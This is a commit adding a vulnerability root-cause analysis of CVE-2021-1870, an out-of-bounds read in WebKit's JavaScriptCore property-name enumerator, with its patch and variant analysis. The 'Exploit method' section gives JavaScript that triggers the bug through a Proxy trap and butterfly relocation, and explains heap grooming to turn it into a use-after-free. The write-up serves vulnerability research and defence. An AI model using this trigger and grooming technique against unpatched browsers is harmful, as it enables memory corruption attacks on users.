Add files via upload

0day-RCAs/2021/CVE-2021-1870.md

@@ -0,0 +1,235 @@
+# CVE-2021-1870: JSPropertyNameEnumerator out-of-bound read
+[Đỗ Minh Tuấn](https://twitter.com/tuanit96) of [STAR Labs](https://twitter.com/starlabs_sg)
+
+## The Basics
+
+**Disclosure or Patch Date**: 5 January 2021
+
+**Product**: WebKit
+
+**Advisory**: https://support.apple.com/en-us/HT212147
+
+**Affected Versions**: WebKitGTK < 2.30.6 or Safari < 15.4
+
+**First Patched Version**: WebKitGTK 2.30.6 or Safari 15.4
+
+**Issue/Bug Report**: https://bugs.webkit.org/show_bug.cgi?id=219957
+
+**Patch CL**: https://github.com/WebKit/WebKit/commit/f4e35a4796f9570c860d39f2701b2a8213f2e10a
+
+**Bug-Introducing CL**: Unknown
+
+**Reporter(s)**: N/A
+
+## The Code
+
+**Proof-of-concept**: N/A
+
+**Exploit sample**: N/A
+
+**Did you have access to the exploit sample when doing the analysis?**: No
+
+## The Vulnerability
+
+**Bug class**: out-of-bound read in JSC
+
+**Vulnerability details**: Taking a closer look into JSPropertyNameEnumerator object. It is created by calling function `propertyNameEnumerator`:
+
+```cpp
+inline JSPropertyNameEnumerator* propertyNameEnumerator(JSGlobalObject* globalObject, JSObject* base)
+{
+    Structure* structure = base->structure(vm);
+    ...
+
+    if (structure->canAccessPropertiesQuicklyForEnumeration() && indexedLength == base->getArrayLength()) {
+        base->methodTable(vm)->getStructurePropertyNames(base, globalObject, propertyNames, EnumerationMode());
+        scope.assertNoException();
+
+        numberStructureProperties = propertyNames.size();
+
+        base->methodTable(vm)->getGenericPropertyNames(base, globalObject, propertyNames, EnumerationMode());
+    }
+    RETURN_IF_EXCEPTION(scope, nullptr);
+
+    ASSERT(propertyNames.size() < UINT32_MAX);
+
+    bool sawPolyProto;
+    bool successfullyNormalizedChain = normalizePrototypeChain(globalObject, base, sawPolyProto) != InvalidPrototypeChain;
+
+    Structure* structureAfterGettingPropertyNames = base->structure(vm);
+    enumerator = JSPropertyNameEnumerator::create(vm, structureAfterGettingPropertyNames, indexedLength, numberStructureProperties, WTFMove(propertyNames));
+
+    ...
+
+    return enumerator;
+}
+```
+
+JSC gets structure from the base object and checks if it can quickly access properties, which means it must not be a ProxyObject / UncachedDictionary or have a custom getter/setter function. If yes, JSC collects all property's names of the base object and its parents in the prototype chain. Function `getGenericPropertyNames` will go through the chain by calling method `getPrototypeOf` for each object JSC passthrough, including ProxyObject. So ideally, we can intercept the enumeration process of JSC by setting up a `getPrototypeOf` trap in our ProxyObject and putting it to the prototype chain of the base object. 
+
+Besides, this function returns an internal object containing cached data from base object:
+
+```cpp
+JSPropertyNameEnumerator::JSPropertyNameEnumerator(VM& vm, Structure* structure, uint32_t indexedLength, uint32_t numberStructureProperties, WriteBarrier<JSString>* propertyNamesBuffer, unsigned propertyNamesSize)
+    : JSCell(vm, vm.propertyNameEnumeratorStructure.get())
+    , m_propertyNames(vm, this, propertyNamesBuffer)
+    , m_cachedStructureID(structure ? structure->id() : 0)
+    , m_indexedLength(indexedLength)
+    , m_endStructurePropertyIndex(numberStructureProperties)
+    , m_endGenericPropertyIndex(propertyNamesSize)
+    , m_cachedInlineCapacity(structure ? structure->inlineCapacity() : 0)
+{
+}
+```
+
+As we can see, JSC does not check `numberStructureProperties` after all, even if our proxy callback may change it. Then we can achieve an out-of-bound read here.
+
+**Patch analysis**:
+The patch has fixed correctly this bug by reset `numberStructureProperties` if the base object has been changed that it cannot access quickly to properties for enumeration
+
+```cpp
+if (!structureAfterGettingPropertyNames->canAccessPropertiesQuicklyForEnumeration()) {
+    indexedLength = 0;
+    numberStructureProperties = 0;
+}
+```
+
+**Thoughts on how this vuln might have been found (fuzzing, code auditing, variant analysis, etc.)**: 
+
+It may be discovered by code auditing because the bug pattern is popular.
+
+**(Historical/present/future) context of bug**: 
+
+The internal object `JSPropertyNameEnumerator` has already been analysed in [CVE-2018-4416](https://bugs.chromium.org/p/project-zero/issues/detail?id=1652) by lokihardt
+
+## The Exploit
+
+**Is the exploit method known?** No
+
+**Exploit method**:
+
+First, we have to setup a ProxyObject with `getPrototypeOf` callback and put it into prototype chain. This will pop-up alert window as expected.
+
+```javascript
+function foo(o) {
+    for (let p in o) {
+        return o[p];
+    }
+}
+
+var obj2 = {};
+var proxy = new Proxy({}, {
+    getPrototypeOf: function(target) {
+        alert("Callback called");
+        return null;
+    }
+});
+obj2.__proto__ = proxy;
+foo(obj2);
+```
+
+Now how can we gain read/write arbitrary using this callback? Look into function `propertyNameEnumerator` again. We see that before creating the `JSPropertyNameEnumerator` object, JSC does a special task: flatten all structures existing in the prototype chain. It turns out that JSC re-orders all properties and values in case we have deleted some of them in our callback, which means JSC also re-allocates butterfly storage for memory optimisation:
+
+```cpp
+Structure* Structure::flattenDictionaryStructure(VM& vm, JSObject* object)
+{
+    ...
+    size_t beforeOutOfLineCapacity = this->outOfLineCapacity();
+    if (isUncacheableDictionary()) {
+        PropertyTable* table = propertyTableOrNull();
+        ASSERT(table);
+        size_t propertyCount = table->size();
+        Vector<JSValue> values(propertyCount);
+        unsigned i = 0;
+        PropertyTable::iterator end = table->end();
+        auto offset = invalidOffset;
+        for (PropertyTable::iterator iter = table->begin(); iter != end; ++iter, ++i) {
+            values[i] = object->getDirect(iter->offset);
+            offset = iter->offset = offsetForPropertyNumber(i, m_inlineCapacity);
+        }
+        setMaxOffset(vm, offset);
+        ASSERT(transitionOffset() == invalidOffset);
+        for (unsigned i = 0; i < propertyCount; i++)
+            object->putDirect(vm, offsetForPropertyNumber(i, m_inlineCapacity), values[i]);
+        ...
+    }
+    ...
+    size_t afterOutOfLineCapacity = this->outOfLineCapacity();
+
+    if (object->butterfly() && beforeOutOfLineCapacity != afterOutOfLineCapacity) {
+        ASSERT(beforeOutOfLineCapacity > afterOutOfLineCapacity);
+        if (!afterOutOfLineCapacity && !this->hasIndexingHeader(object))
+            object->setButterfly(vm, nullptr);
+        else
+            object->shiftButterflyAfterFlattening(locker, vm, this, afterOutOfLineCapacity);
+    }
+    ...
+}
+```
+
+However, this operation is only applied to `UncacheableDictionary`, so we cannot go to our callback and flatten the base object simultaneously. Luckily, we can do this on behalf of another object. Then we can iterate through the boundary of base object's butterfly. But we have to force JSC to optimise the for-loop. Otherwise, it will go to a slow path and retrieve the object's property by searching in its structure, not by comparing with cached limit as a fast path does.
+
+```javascript
+function foo(o) {
+    for (let p in o) {
+        return o[p];
+    }
+}
+
+for (let i = 0; i < 500; ++i) {
+    foo({});
+}
+
+var obj2 = {};
+var obj1 = {};
+// Make obj2 become a dictionary
+for (let i=0; i < 200; ++i)
+    obj2["a" + i] = i;
+// Back-up original prototype to prevent cyclic prototype chain
+var savedObj2 = obj2.__proto__;
+
+var proxy = new Proxy({}, {
+    getPrototypeOf: function(target) {
+        // Make obj2 become un-cacheable-dictionary
+        for (let i = 20; i < 170; ++i)
+            delete obj2["a" + i];
+
+        // Restore obj2's proto
+        obj2.__proto__ = savedObj2;
+
+        // Enumerate obj1 so that JSC will flatten its prototype chain, which includes obj2
+        for (let p in obj1) {}
+
+        // Now obj2's butterfly has been relocated to another address
+        return null;
+    }
+});
+obj2.__proto__ = proxy;
+
+// This will make JSC flatten obj2 later
+obj1.__proto__ = obj2;
+
+foo(obj2);
+```
+
+The job now is nearly done. We just need to set up some holes in memory ( so when JSC re-allocates butterfly, it will fall into this hole ) with some array of objects next to it. Note that after freeing JSObject / JSArray and triggering GC, that memory is not memset, so we can use our out-of-bound read to get a freed object and turn this bug to Use-after-free. **Remember not to trigger GC more than once.** Otherwise, it will scan heap memory and detect that there is an address existed in heap so it marks that address as an alive-object, not dead-object.
+
+## The Next Steps
+
+### Variant analysis
+
+**Areas/approach for variant analysis (and why)**: Auditing JIT and internal objects in JSC
+
+**Found variants**: This is likely a variant of [CVE-2018-4416](https://bugs.chromium.org/p/project-zero/issues/detail?id=1652) which was originally discovered by lokihardt
+
+### Structural improvements:
+
+N/A
+
+### 0-day detection methods:
+
+N/A - Likely hard to detect generically
+
+### Other References:
+
+N/A